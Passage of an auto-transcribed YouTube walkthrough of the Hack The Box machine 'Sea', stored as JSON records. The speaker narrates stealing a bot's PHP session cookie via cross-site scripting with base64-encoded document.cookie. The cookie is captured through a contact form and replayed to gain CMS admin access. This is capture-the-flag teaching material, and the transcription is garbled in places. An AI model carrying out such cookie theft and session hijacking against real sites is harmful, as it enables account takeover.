+ {"text": "this so let's send this page now what did I copy up to index paste that and we didn't get anything and looking at it becomes very obvious we didn't URL encode so the plus got translated to a space right so we want to ur en code the plus which I believe is Tob uh we could probably just go in repeater highlight control U it is to B so let's just close this out and then I'm going to go to the plus percent to B send that and there we go we have a v a base 64 here so if I copy this then we can Echo base 64- D Echo dasn did I not copy the whole thing that is not what I expected 2 b b 2 a what's my cookie look like D6 I get rid of B2 a and what if it's A2 B just send document cookie does this send okay so we have the PHP session here so with that we could have just um edited our session add the PHP session here and", "start": 3469.68, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
44
+ {"text": "then install the theme manually instead of like using the um cross site request to instruct the users browser to install the theme we can just do a like session replay attack and take their session and have admin to the CMS our right um that also works let's see JavaScript base 64 in code did I do this wrong b2a I did not 2B b 2 a document cookie NC LVN I think I know what's happening is something getting Ural encoded no I am honestly not sure why that's not working see decode as yeah I'm doing something wrong with that um not exactly sure what I'm doing wrong or maybe you can't just do ba to a on um cookies weird well I'm not going to solve that right now let's just grab this and I'm going to steal The Cookie of um the bot and then we'll call that a video if I run that cat like this session cookie works okay so let's log", "start": 3606.16, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}
45
+ {"text": "out go to how to participate contact form website that is good let's do this submit form submitted so now we just have to wait for the bot to kick off um let's see su- goo t-l we can probably just run the script ourselves to speed things up should be logging in there we go so now we have their PHP session ID so we could go to our browser let's go to storage put their session in refresh and now we're logged in as the um application that's using like the webbot right so that'd be another way to do it if you didn't want to do the whole cross- site request chain attack um it's much easier to just steal the cook key because HTP only is not set but hopefully you guys enjoyed that video take care and I will see you all next time", "start": 3734.839, "duration": 0.0, "meta": {"video_id": "eXTQ3z7esjQ", "title": "HackTheBox - Sea", "url": "https://www.youtube.com/watch?v=eXTQ3z7esjQ"}}